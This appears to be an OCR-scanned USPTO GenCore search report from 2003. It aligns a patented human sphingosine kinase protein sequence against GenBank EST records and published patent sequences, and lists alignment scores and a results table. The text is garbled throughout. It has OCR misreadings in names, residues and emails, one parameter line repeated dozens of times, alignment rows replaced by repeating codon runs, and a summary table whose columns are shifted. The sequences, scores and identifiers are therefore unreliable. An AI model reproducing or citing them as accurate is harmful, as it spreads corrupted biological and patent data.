Query Match:	53.65%	Indels: 10
Db:	12	Gaps: 2

OY 292 AAGlyValSerArgAlaMetLeuLeuArgLeuPheLeuAlaMetGlyLysGlyArgHis 311
 DB 482 GCGGAGAGTGTCTCGCATGCTGCTGCTTCCGCGCATGGAGAAGGAGGAGAT 541
 OY 312 MetGlu-TyrGlyCysProTyrLeuValTyrValProVal-ValAlaPheArgLeuGlnP 331
 DB 542 ATGGACGATGTAAGGCCCTACTGTGTATGTGCGCCGTGATGCGCTTCCGCTGGAGC 601
 OY 331 rOLysAspGlyLysGlyValPheAlaValAspGlyLysLeuMetValSer---GluAlaVal 350
 DB 602 CCAAGGATGGAGAAAGGTGTGTTCGATGGATGGGAATGATGCGTTCACCGAGAGAC 661
 OY 350 aGlnGly-GlnValHisPro-AsnTyrPheTyrPheMetValSer-GlyCysValGlnProp 369
 DB 662 TGCAGGGCCGACGAGCGACCCCAAAACTACTTGTGATGTGACGCGGTTGCCGTGAAGCA 721
 OY 369 ro---ProSerTyrLys 373
 DB 722 CCAGACCAAGCTGGAAA 738
 DB
 RESULT 12
 BE891653 659 bp mRNA linear EST 20-OCT-2000
 LOCUS 601434552P1 NIH_MGC_72 Homo sapiens cDNA clone IMAGE:3919548 5'
 DEFINITION mRNA sequence.
 ACCESSION BE891653
 VERSION BE891653.1 GI:10351191
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1 (bases 1 to 659)
 AUTHORS NIH-MGC http://mgs.nci.nih.gov/.
 TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
 JOURNAL Unpublished (1999)
 COMMENT Contact: Robert Strausberg, Ph.D.
 Email: cga@bbs-remail.nih.gov
 Tissue Procurement: ATCC/DOCP/DRP
 CDNA Library Preparation: Life Technologies, Inc.
 CDNA Library Arrayed by: The I.M.A.G.E. Consortium (LNL)
 DNA Sequencing by: Incyte Genomics, Inc.
 Clone distribution: MGC clone distribution information can be
 found through the I.M.A.G.E. Consortium/LNL at:
 http://image.lnl.gov
 Plate: L1AM9749 row: h column: 13
 High quality sequence stop: 585.
 FEATURES
 source
 Location/Qualifiers
 1..659
 /organism="Homo sapiens"
 /db_xref="taxon:9606"
 /clone_image="3919548"
 /clone_lib="NIH_MGC_72"
 /tissue_type="melanotic melanoma"
 /lab_host="DH10B (phage-resistant)"
 /note="Organ: skin; Vector: pCMV-SPORT6; Site: 1; NOTI;
 Site: 2; Salt: Cloned unidirectionally. Primer: Oligo dT.
 Average insert size 2 kb. Library constructed by Life
 Technologies."
 BASE COUNT 107 a 200 c 202 g 150 t
 ORIGIN
 Alignment Scores:
 Pred. No.: 1,85e-95 Length: 659
 Score: 983.00 Matches: 199
 Percent Similarity: 94.47% Conservatve: 6
 Best Local Similarity: 91.71% Mismatches: 10
 Query Match: 48.78% Indels: 3
 DB: 12 Gaps: 0
 US-09-784-810A-2 (1-384) x BE891653 (1-659)
 OY 124 AAGlyTyrGlnGlnValThrAsn-GluAspLeuLeuThrAsnCysThrLeuLeuLeuLeu 143

DB 12 GCTGGCTATGAGCAGAGTCAACCACTGAAGACCTCTCTGACCAACTGACGATATGCTGTG 71
 OY 143 SArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeuArgSe 163
 DB 72 CCGCGGGCTGTGCACCCATGAACCTCTCTCTGTGCACAGCGGCTTGGGGCTGGCGCT 131
 OY 163 rPheSerValLeuSerLeuAlaATPGlyPheIleAlaAspValAspLeuGlnSerAspLy 183
 DB 132 CTTCCTGTGCTGACCTGGGCTGGGCTTCAATGCTATGATGGACCTAGAGAGTGA 191
 OY 183 sTyrArgArgLeuGlyGlyLysMetArgPheThrLeuGlyThrPheLeuArgLeuAlaAla 203
 DB 192 GTATCGGGCTGTGGGGAGATGCGGCTTCACTGTGGGACCTTCCGCGCTGGAGCGCT 251
 OY 203 uArgThrTyrArgGlyArgLeuAlaThrLeuProValGlyArgValGlyPheLysThrPr 223
 DB 252 GCGCACTTACCGCGCGCGCTGCTTACCTCTCTGTAGAGAGTGGGCTTCCAGACAC 311
 OY 223 oAlaSerProValValAlaGlnGlnGlyProValAspAlaHisLeuValProLeuGlnG 243
 DB 312 TGCTCTCCCGCTGTGTGTCACAGAGGCGCGGTAGATGACACCTTGTGCTACCTGGAG 371
 OY 243 uGlnValProSerHisTyrGlnValValProAspGlyAspPheValLeuValAlaAla 263
 DB 372 GCGAGTGGCTCTCTGACCTGAGAGTGTGCGCGAGAGACTTGTGTAGTCTGTGCACT 431
 OY 263 uLeuHisSerHisLeuAlaSerGlyLysMetPheAlaAlaProMetGlyArgGlyAlaAla 283
 DB 432 GCTGCACTGCGACCTGCGGAGTGAATTTGCTGACCCATGGGCGCTGTGCACTGG 491
 OY 283 yValMetHisLeuPheTyrValArgAlaGlyValSerArgAlaMetLeuLeuArgLeuP 303
 DB 492 CGTATGATGTGTCTTACGTGCGGCGGAGACTGTGTGCGCATGCTGATGCGCTCTT 551
 OY 303 eLeuAlaMetGlyLysGlyArgHisMetGlyTyrGlyCysProTyrLeuVal-TyrValP 323
 DB 552 CCGGCGATGAGAGAGGAGGAGCATATGAGATGAATGAGCCCTTTGTTGATTAACGTGC 611
 OY 323 roValValAlaPheArgLeuGlnProLysAspGlyLysGlyValAlaPhe 338
 DB 612 CCGTGATCATCCTTCGCTTGGAGAC-CAAGATGGGAAAGGTGTGAT 657
 DB
 RESULT 13
 AV694791 671 bp mRNA linear EST 16-JAN-2002
 LOCUS AV694791 GKC Homo sapiens cDNA clone GKC8E05 5', mRNA sequence.
 DEFINITION AV694791
 ACCESSION AV694791
 VERSION AV694791.1 GI:10296654
 KEYWORDS EST.
 SOURCE human.
 ORGANISM Homo sapiens
 Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
 Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
 REFERENCE 1 (bases 1 to 671)
 AUTHORS Xu,X., Huang,J., Xu,Z., Qian,B., Zhu,Z., Yan,Q., Cai,T., Zhang,X.,
 Xiao,H., Ou,J., Liu,F., Huang,Q., Cheng,Z., Li,N., Du,J., Hu,W.,
 Shen,K., Lu,G., Fu,G., Zhong,W., Xu,S., Gu,W., Huang,W., Zhao,X.,
 Hu,G., Gu,J., Chen,Z. and Han,Z.
 Insight into hepatocellular carcinogenesis at transcriptome level
 by comparing gene expression profiles of hepatocellular carcinoma
 with those of corresponding noncancerous liver
 Proc. Natl. Acad. Sci. U.S.A. 98 (26), 15089-15094 (2001)
 TITLE
 JOURNAL
 MEDLINE
 COMMENT
 Contact: Zeguang Han
 Chinese National Human Genome Center at Shanghai
 351 Guo Shouling Road, Zhangjiang Hi-Tech Park, Pudong, Shanghai
 201203, P. R. China
 Tel: 86-21-50801919(ex.45)
 Fax: 86-21-50801922
 Email: hanzg@chgc.sh.cn
 This clone is available at CHGC in Shanghai.
 FEATURES
 Location/Qualifiers


```

Db 369 AG-GAGCTGTGTGTGACAGAGAGTGGGTGCTGAGGCCCTGGCAGTCATCTCCGGT 427
Oy 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTyrGluThrAla 100
Db 428 GATGCTCTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATGAT 487
Oy 101 IleGlnIysProLeuCySerLeuProAlaGlySerGlyAsnAlaLeuAlaAlaSerLeu 120
Db 488 ATCCAGAAACCCCTGTAGCTCCCTGAGGCTCCGGCAGTGGCAGTCTCTGTG 547
Oy 121 AsnHisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuThrAsnGlyThrLeu 140
Db 548 AACCACTATGCTGTGATGACAGAGCTGATGATGATGATGATGATGATGATGATGATGAT 607
Oy 141 LeuLeuCySerProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGly 160
Db 608 CTGCTGTCTCCCGCCGCGCTGTCACCCATGAACTGCTGCTGCTGCTGCTGCTGCTGCTG 667
Oy 161 LeuArgSerPheSerValLeuSerLeuAlaTyrGlyPheAlaAspValAspLeuGlu 180
Db 668 CTGGGCTCTATTTCTGCTCAGTCTGCTGCGGGCTTGTGTTGCTGAGCTGGACCTCGAG 727
Oy 181 SerAspIysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
Db 728 AGTGAAGTACAGAGCCCTGGGGAGATGCTTTCACAGTGGGACCTTCTTTCGCTTA 787
Oy 201 AlaAlaLeuArgTyrArgGlyArgLeuAlaThrLeuProValArgValGlyPhe 220
Db 788 GCACCTGCTGATACCAAGGACCACTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 847
Oy 221 LysThrProAlaSerProValAlaValAlaGlnGlnGlyProValAspAlaHisLeuValPro 240
Db 848 TAAGAGACCGGCTCT--ACACTGCTGCAAGAAAGGCCCGCTGCAACA-CACCTTCTCT 903
Oy 241 LeuGlu-GluGlnValProSerHisTyrGlnVal 251
Db 904 CTGGAGGAGGACGAGTCTCTCTCATTTGAGACTGTG 937

RESULT 15
LOCUS B0675531 999 bp mRNA linear EST 15-JUL-2002
DEFINITION AGNCODR1.8196565 NIH_MGC_102 Homo sapiens CDNA clone IMAGE:6256195
ACCESSION B0675531
VERSION B0675531.1 GI:21786365
KEYWORDS EST.
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 999)
AUTHORS NIH-MGC http://mgi.nci.nih.gov/.
TITLE National Institutes of Health, Mammalian Gene Collection (MGC)
JOURNAL Unpublished (1999)
COMMENT Contact: Robert Strausberg, Ph.D.
Email: c9apbs-remail.nih.gov
Tissue Procurement: ATCC
CDNA Library Preparation: Rubin Laboratory
CDNA Library Arrayed by: The I.M.A.G.E. Consortium (ULNL)
DNA Sequencing by: Agencourt Bioscience Corporation
Clone distribution: MGC clone distribution information can be
found through the I.M.A.G.E. Consortium/ULNL at:
http://image.llnl.gov
Plate: L1CM2408 row: h column: 20
High quality sequence stop: 538.
Location/Qualifiers
1..999
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone_image="6256195"
/clone_lib="NIH_MGC_102"
/tissue_type="epidermoid carcinoma, cell line"
/lab_host="DH10B (phage-resistant)"

```

```

/note="Organ: salivary gland. Vector: pOTB7; Site_1: XhoI;
Site_2: EcoRI; cDNA made by oligo-dT priming.
directionally cloned into EcoRI/XhoI sites using the
following 5' adaptor: GGCACAG(6). Library constructed
by Ling Hong in the laboratory of Gerald M. Rubin
(University of California, Berkeley) using ZAP-CDNA
synthesis kit (Stratagene) and Superscript II RT (Life
Technologies). Note: this is a NIH_MGC Library."
BASE COUNT 175 a 337 c 315 g 171 t 1 others
ORIGIN
Alignment Scores:
Pred. No.: 1,066-92 Length: 999
Score: 95.988 Matches: 189
Percent Similarity: 95.988
Best Local Similarity: 94.978 Mismatches: 2
Query Match: 47.648 Indels: 0
DB: 14 Gaps: 0
US-09-784-810a-2 (1-384) x B0675531 (1-999)
Oy 42 LeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgAsnHisAlaArg 61
Db 3 TTGGCTGAGGCTGAATCTCTTCACTGATGCTCAGTACGCGGCAACGCGCGG 62
Oy 62 GluLeuValArgSerGluGluLeuGlyArgTyrPaspAlaLeuValMetSerGlyAsp 81
Db 63 GAGCTGTGCGGCTCGGAGAGAGCTGGCGCGCTGGACGCTGTGCTGCTGAGAC 122
Oy 82 GlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTyrGluThrAlaIle 101
Db 123 GGGCTGATGACAGAGAGTGTGTAAGGGCTGATGAGAGCGGCTGAGTGGAGACCGCATC 182
Oy 102 GlnIysProLeuCySerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeuAsn 121
Db 183 CAGAAAGCCCTGTGTAGCTCCACAGAGCTTGTGCAAGCGCTGCGAGCTTCTTGAAC 242
Oy 122 HisTyrAlaGlyTyrGluGlnValThrAsnGluAspLeuThrAsnGlyThrLeu 141
Db 243 CATTTAGCTGCTATGACAGAGCTCAACATGAAACCTCTCTACCAACTGCACTATTG 302
Oy 142 LeuCyArgProValLeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerGlyLeu 161
Db 303 CTGGCGCGGCGCTGCTGACCAACATGAAACCTGTGTCTGTCACACGCGCTTGGGGCTG 362
Oy 162 ArgSerPheSerValLeuSerLeuAlaTyrGlyPheIleAlaAspValAspLeuGluSer 181
Db 363 CGGCTTCTCTGTGCTCAGCTGCGCTGCGCTTCTCATTTGATGTGACCTAGAGAT 422
Oy 182 AspIysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeuAla 201
Db 423 GAGAGATACGCGCTGCGGAGATGCGCTTCACTGCTGGACCTTCTGCTGCTGGCA 482
Oy 202 AlaLeuArgTyrArgGlyArgLeuAlaThrLeuProValAlaGlyArgValGlyPheIys 221
Db 483 GCGCTGCGGAGCTACGCGGCGGAGTGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 542
Oy 222 ThrProAlaSerProValAlaValAlaGlnGlnGlyProValAspAlaHisLeuValPro 240
Db 543 ACACCTGCTCCCGCTGTGTGCTCCACAGGCGCGGAGATGACACCTGCGGCGC 599

```

Search completed: July 12, 2003, 19:45:22
Job time : 1835 secs

THIS PAGE BLANK (USPTO)

GenCore version 5.1.6
Copyright (c) 1993 - 2003 Comugen Ltd.

OM protein - nucleic search, using frame_plus_p2n model

Run on: July 12, 2003, 18:12:38 ; Search time 216 Seconds

(without alignments)
2807.103 Million cell updates/sec

Title: US-09-784-810A-2

Perfect score: 2015

Sequence: 1 MDPAGPGRVLPAPRCRVLYL.....CVPSPSWKPDQMPPEEPL 384

Scoring table:

BLOSUM62

Xgapop 10.0, Xgapext 0.5

Ygapop 10.0, Ygapext 0.5

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Delop 6.0, Delext 7.0

Command line parameters: -DEV-xlh
-O/cgnt2_1/USPRO.spool/US09784810/Runat_11072003_103442_26587/app_query.fasta.1.583
-DB-Published.Applications_USA-OFMT-fastap-SUFFIT-rnp-MINMATCH=0.1
-LOOPCL=0-LOOPEXT=0-UNIT5-bits-START=1-END=1-MATRIX-blosum62
-TRANS-numa40.cdi-LIST=45-DOCALIGN=200-THR_SCORE=pct-THR_MAX=100
-THR_MIN=0-ALIGN=15-MODE-LOCAL-OUTPMT-pto-NORM-ext-HEAPSIZE=500-MINLEN=0
-MAXLEN=2000000000-USER-US09784810.ecgn1.1.57.Runat_11072003_103442_26587
-NCPU=6-ICPU=3-NO-MAP-LARGEQUERY-NEG_SCORES=0-WAIT-DSPLLOCK=100
-LONGLOC-DEV-TIMEOUT=120-WARN-TIMEOUT=30-THREADS=1-XGAPOP=10-XGAPEXT=0.5
-FGAPOP=6-FGAPEXT=7-YGAPOP=10-YGAPEXT=0.5-DELOP=6-DELEXT=7

Database: Published Applications NA:*

1: /cgnt2_6/ptodata/1/pubpna/US07_NEW_PUB.seq:*

2: /cgnt2_6/ptodata/1/pubpna/PTCT_NEW_PUB.seq:*

3: /cgnt2_6/ptodata/1/pubpna/US06_NEW_PUB.seq:*

4: /cgnt2_6/ptodata/1/pubpna/US06_PUBCOMB.seq:*

5: /cgnt2_6/ptodata/1/pubpna/PTCTUS_PUBCOMB.seq:*

6: /cgnt2_6/ptodata/1/pubpna/US07_PUBCOMB.seq:*

7: /cgnt2_6/ptodata/1/pubpna/US08_NEW_PUB.seq:*

8: /cgnt2_6/ptodata/1/pubpna/US08_PUBCOMB.seq:*

9: /cgnt2_6/ptodata/1/pubpna/US09_NEW_PUB.seq:*

10: /cgnt2_6/ptodata/1/pubpna/US09_PUBCOMB.seq:*

11: /cgnt2_6/ptodata/1/pubpna/US10_NEW_PUB.seq:*

12: /cgnt2_6/ptodata/1/pubpna/US10_PUBCOMB.seq:*

13: /cgnt2_6/ptodata/1/pubpna/US60_NEW_PUB.seq:*

14: /cgnt2_6/ptodata/1/pubpna/US60_PUBCOMB.seq:*

Pred. No. is the number of results predicted by chance to have a score greater than or equal to the score of the result being printed, and is derived by analysis of the total score distribution.

SUMMARIES

Result No.	Score	Query Match Length	ID	Description
1	2015	100.0	1600	US-09-784-810A-1
2	1962	97.4	1155	US-09-970-516-1
3	1927	95.6	1533	US-10-023-282-90
4	1594.5	79.1	1759	US-09-784-810A-3

5	1587.5	78.8	1149	10	US-09-970-516-5	Sequence 5, Appl1
6	875	43.4	2698	10	US-09-817-676A-11	Sequence 11, Appl1
7	856.5	42.5	1857	10	US-09-970-516-3	Sequence 3, Appl1
8	856.5	42.5	2380	10	US-09-817-676A-13	Sequence 13, Appl1
9	481	23.9	480	10	US-09-783-590-9248	Sequence 9248, Ap
10	365	18.1	296	9	US-10-015-219-658	Sequence 658, App
11	365	18.1	296	10	US-09-777-564-658	Sequence 658, App
12	360	17.9	199	9	US-09-796-692-2905	Sequence 2905, Ap
13	360	17.9	199	9	US-10-040-862-2905	Sequence 9, Appl1
14	268.5	13.3	1614	9	US-09-969-896-9	Sequence 16, Appl1
15	268.5	13.3	4413	9	US-09-969-896-16	Sequence 156, Appl1
16	258	12.7	3840	10	US-09-784-810A-5	Sequence 1756, Ap
17	228	11.3	979	9	US-09-969-896-1	Sequence 1, Appl1
18	223	11.1	979	9	US-10-037-270-796	Sequence 42, Appl1
19	198	9.8	2462	9	US-09-948-820-42	Sequence 16, Appl1
20	158.5	7.9	3758	9	US-09-948-820-16	Sequence 2836, Ap
21	158.5	7.9	4129	9	US-09-948-820-16	Sequence 98, Appl1
22	151	7.5	1095	9	US-09-738-626-2836	Sequence 1, Appl1
23	151	7.5	1095	9	US-09-738-626-2836	Sequence 2261, Ap
24	147.5	7.3	16870	10	US-09-070-927A-98	Sequence 591, App
25	142.5	7.1	9025608	9	US-10-156-761-1	Sequence 2879, Ap
26	137	6.8	957	9	US-10-156-761-1	Sequence 3002, Ap
27	135	6.7	1268	10	US-09-070-927A-591	Sequence 7149, Ap
28	130	6.5	800	10	US-09-974-300-2879	Sequence 354, App
29	129.5	6.4	9025608	9	US-10-156-761-1	Sequence 5354, App
30	124	6.2	966	9	US-10-156-761-3002	Sequence 3828, Ap
31	117.5	5.8	669	10	US-09-974-300-7149	Sequence 6696, Ap
32	116	5.8	3097	9	US-10-128-714-354	Sequence 334, App
33	116	5.8	3130	9	US-10-128-714-354	Sequence 9336, Ap
34	114.5	5.7	8911	12	US-10-044-090-17	Sequence 17, Appl1
35	113	5.6	888	10	US-09-815-242-3828	Sequence 3828, Ap
36	113	5.6	1089	10	US-09-815-242-6696	Sequence 6696, Ap
37	113	5.6	9212	10	US-09-070-927A-334	Sequence 334, App
38	112	5.6	885	10	US-09-815-242-9236	Sequence 9236, Ap
39	108.5	5.4	474	9	US-09-969-896-4	Sequence 4, Appl1
40	108	5.4	948	10	US-09-815-242-8764	Sequence 8764, Ap
41	108	5.4	13542	7	US-08-781-986A-154	Sequence 154, App
42	107.5	5.3	1338	9	US-10-102-806-177	Sequence 177, Appl1
43	106.5	5.3	2837	9	US-09-822-846-58	Sequence 58, Appl1
44	105	5.2	378	10	US-09-770-791-215	Sequence 215, App
45	103.5	5.1	650	10	US-09-974-300-2884	Sequence 2884, Ap

ALIGNMENTS

RESULT 1

US-09-784-810A-1

Sequence 1, Application US/09784810A

Patent No. US20020082203A1

GENERAL INFORMATION:

APPLICANT: RASTELT, LUCIA

TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING

TITLE OF INVENTION: SAME

FILE REFERENCE: 10716-08

CURRENT APPLICATION NUMBER: US/09/784, 810A

CURRENT FILING DATE: 2001-02-14

PRIOR APPLICATION NUMBER: 60/182, 360

PRIOR FILING DATE: 2000-02-14

PRIOR APPLICATION NUMBER: 60/191, 261

PRIOR FILING DATE: 2000-03-22

NUMBER OF SEQ ID NOS: 29

SOFTWARE: Patent In Ver. 2.1

SEQ ID NO 1

LENGTH: 1600

TYPE: DNA

ORGANISM: Homo sapiens

FEATURE:

NAME/KEY: modified_base

LOCATION: (1)

OTHER INFORMATION: a, t, c, g, other or unknown

US-09-784-810A-1

Alignment Scores:

US-09-784-810A-2 (1-384) x US-09-784-810A-3 (1-1759)

QY 1 MetaspProalaglyglyProargglyValleuProargProCysargValleuValleu 20
 Db 327 ATGAAACCCAGTAAATCCCTCGAGGACTGCTCCACAGGCCATGCAAGAGTGTCTGTG 386
 QY 21 LeuasnProargglyglyValleuValleuInleupheargSerHisValGlnPro 40
 Db 387 CTGAACCCCGAGGTGGCAGAGGAGCTGTGAGCTCTTCCAGAGCCGTGTCCAGGCC 446
 QY 41 LeuValaIagluIaIuIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
 Db 447 TTCCTGAGAGGAGCAGATGAATCTTAACCTGATACCTACCGAAGCGAAGAACATGCC 506
 QY 61 ArgGluLeuValaIargSerGluGluLeuGlyArgThrAspAlaValaIleMetSerGly 80
 Db 507 AGGAGGCTGTGTGTGAGAGAGAGTGGTCACTGGGAGCCCTGGCAGTCAATGTCCGCT 566
 QY 81 AspGlyLeuMetHisGluValaIasnGlyLeuMetGluArgProAspTrpGluThrAla 100
 Db 567 GATGCTGTGATGATGAAGTGTGAATGGCTAATGAGAGCGCCAGACTGGAGACTGCC 626
 QY 101 IleGlnLysProLeuCysSerLeuProAlaIaglySerGlyAsnAlaIleuAlaSerLeu 120
 Db 627 ATCCAGAAACCCCTGTGAGCTCCCTGGAGGCTCCGGCAATGGCGTGGCAGCTTGTG 686
 QY 121 AsnHisTyraIaglyTyrgluGluValaIthAsnGluAspLeuLeuThrAsnCysThrLeu 140
 Db 687 AACCATATGCTGGGTACAGACAGTGAATGAAGACCTGCTATCAATCACTGCACACTG 746
 QY 141 LeuLeuCysArgProValaIleuSerProMetAsnLeuSerLeuHisThrAlaSerGly 160
 Db 747 CTGTTGTGGCCGCCGCCCTGTCCACATGAACCTGCTGTCCCTGCACACTGCTTGGG 806
 QY 161 LeuArgSerPheSerValaIleuSerLeuAlaItrpIlyPheIleAlaAspValaIleuGlu 180
 Db 807 CTGGCGCTATCTGTGTGCTCAGTCTGCTGGGCTTGTGTGCTGAGCTGAGCTGCAG 866
 QY 181 SerAspLysTyraIaglyLeuGlyLeuMetArgPheThrLeuGlyThrPheLeuArgLeu 200
 Db 867 AGTGAAGATACAGAGCCCTGGGAGATTCGTTTCACAGTGGGACACTTCTTCCGCTA 926
 QY 201 AlaAlaLeuArgThrTyraIaglyArgGluAlaIleuAlaItrpIlyPheValaIleuGlyPhe 220
 Db 927 GCAAGCTGCCCATCTACCAAGGCCCACTGCTACCTCTCTGAGAACCTGTGCTGT 986
 QY 221 LysThrProAlaSerProValaIvalaIleGlnGlyProValaIAspAlaHisLeuValPro 240
 Db 987 AAGAGACCCGCTCTCT--ACACTGTGTGCAGAAAGGCCCGCTGCACACACCTTGTCT 1043
 QY 241 LeuGluGluGluValaIProSerHisThrGluValaIProAspGluAspPheValaIleuVal 260
 Db 1044 CTGGAGAGGAGGAGGAGCTCTCATGTGACTGTGTGTACAGAACAGGACTTGTCTGTG 1103
 QY 261 LeuAlaLeuLeuHisSerHisLeuAlaSerGluMetPheAlaIleuAlaIleuAlaIleu 280
 Db 1104 CTGTGTGCTGTACACACCACTGAGCTCGAGCTGTGTGACAGCACCATGTGGCGCTGT 1163
 QY 281 AlaAlaGlyValaIleuHisLeuPheTyraIargAlaGlyValaIleuValaIleuVal 300
 Db 1164 GAGCTGTGTGTATGATCTCTTCTACGTACGTGCGGGGTGTCAAGAGGCTGCTGTG 1223
 QY 301 ArgLeuPheLeuAlaMetGluGlyArgHisMetGluTyrgluCysProTyrgluValaIleuVal 320
 Db 1224 CGCCTCTTCTGTGCGCATGAAGAGGCAAGCATATGGAATCTGTACTGTCCATCTGTGTT 1283
 QY 321 TyraValProValaIAlaPheArgLeuGluProLysAspGlyLysGlyValaIleuAlaValaI 340
 Db 1284 CATGTGGCGGTGTGTCTTCTGCTGTGAGGCCAGAGCCAGAGGCGGTGTCTTCTGTG 1343
 QY 341 AspGlyLeuMetValaIleuSerGluAlaValaIleuGlnGlyValaIleuAspProAsnTyrgPheThr 360

Db 1344 GATGAGAGCTGATGATGAAGCTGTGTGAGGCCAAGTGCACCAACTACCTTGTG 1403
 QY 361 MetValaSerGlyCysValaIleuProProSerTrpLysProGlnGlnMetProProPro 380
 Db 1404 ATGTGCTGTGGCACAGACAGATGCCATTCGGCCGGAGACTCCGGGGGGCCACTCCA 1463
 QY 381 GluGluPro 383
 Db 1464 GAAGAACCA 1472
 RESULT 5
 US-09-970-516-5
 : Sequence 5, Application US/09970516
 : Patent NO. US20020099029A1
 : GENERAL INFORMATION:
 : APPLICANT: NO. US20020099029A1attis AG
 : TITLE OF INVENTION: Induction of blood vessel formation through administration of
 : FILE REFERENCE: 4-31617
 : CURRENT APPLICATION NUMBER: US/09/970,516
 : NUMBER OF SEQ ID NOS: 6
 : SOFTWARE: PatentIn version 3.1
 : SEQ ID NO 5
 : LENGTH: 1149
 : TYPE: DNA
 : ORGANISM: Mus musculus
 : FEATURE:
 : NAME/KEY: CDS
 : LOCATION: (1)..(1149)
 : OTHER INFORMATION:
 US-09-970-516-5
 Alignment Scores:
 Pred. No.: 3,67e-192 Length: 1149
 Score: 1587.50 Matches: 302
 Percent Similarity: 87.99% Conservative: 35
 Best Local Similarity: 78.85% Mismatches: 45
 Query Match: 78.78% Indels: 1
 Gaps: 1
 US-09-784-810A-2 (1-384) x US-09-970-516-5 (1-1149)
 QY 1 MetaspProalaglyglyProargglyValleuProargProCysargValleuValleu 20
 Db 1 ATGAAACCCAGTAAATCCCTCGAGGACTGCTCCACAGGCCATGCAAGAGTGTCTGTG 60
 QY 21 LeuasnProargglyglyValleuValleuInleupheargSerHisValGlnPro 40
 Db 61 CTGAACCCCGAGGTGGCAGAGGAGCTGTGAGCTCTTCCAGAGCCGTGTCCAGGCC 120
 QY 41 LeuValaIagluIaIuIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
 Db 121 TTCCTGAGAGGAGCAGATGAATCTTAACCTGATACCTACCGAAGCGGCAATGCCATGCC 180
 QY 61 ArgGluLeuValaIargSerGluGluLeuGlyArgThrAspAlaValaIleMetSerGly 80
 Db 181 AGGAGGCTGTGTGTGAGAGAGATTTGGTCACTGGAGGCCCTGTGCGCATGTATGTCCGT 240
 QY 81 AspGlyLeuMetHisGluValaIasnGlyLeuMetGluArgProAspTrpGluThrAla 100
 Db 241 GATGCTGTGATGATGAAGTGTGAATGGCTAATGAGAACCGCCGAGTGGAGAGATGCC 300
 QY 101 IleGlnLysProLeuCysSerLeuProAlaIaglySerGlyAsnAlaIleuAlaSerLeu 120
 Db 301 ATCCAGAAACCCCTGTGAGCTCCCTGGAGGCTCCGGCAATGGCTGTGCGCATGTCTGTG 360
 QY 121 AsnHisTyraIaglyTyrgluGluValaIthAsnGluAspLeuLeuThrAsnCysThrLeu 140
 Db 361 AACCATATGCTGGGTACAGACAGTGAATGAAGACCTGCTATCAATCACTGCACACTG 420
 QY 141 LeuLeuCysArgProValaIleuSerProMetAsnLeuSerLeuHisThrAlaSerGly 160

```

Db      421 CTGTTTGGCCGGCGGCGCTGTCACCATGAACTGCTGCTCCCTGACACTGCTTCTGG 480
Qy      161 LeuArgSerPheSerValLeuSerLeuAlaTTPGlyPheIleAlaAspValAspLeuGlu 180
      ||||| :|||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      481 CTCGGCTCATATCTGCTGCTCAGTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 540
Qy      181 SerAspLysThrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArgLeu 200
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      541 AGTGAAGATGACAGGGGCTTTGGGGAGATTCGTTTACAGTGGGACCTTCTTGGCTA 600
Qy      201 AlaAlaLeuArgThrArgArgLeuAlaThrLeuProValGlyArgValGlyPhe 220
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      601 GCAAGCTCGGCATCTACCAAGGCAAGGCTTACCTTCTGTTAGAACTGTGGCTCT 660
Qy      221 LysThrProAlaSerProValValGlnGlnGlyProValAspAlaHisLeuValPro 240
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
Db      661 AAGAGACCCCGCTCT--ACACTGGTGACAGAGGGCCCTCCACACACACCTGTGCT 717
Qy      241 LeuGluGluGlnValProSerHisTTPGlnValValProAspGluAspPheValLeuVal 260
      |||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||:|||||
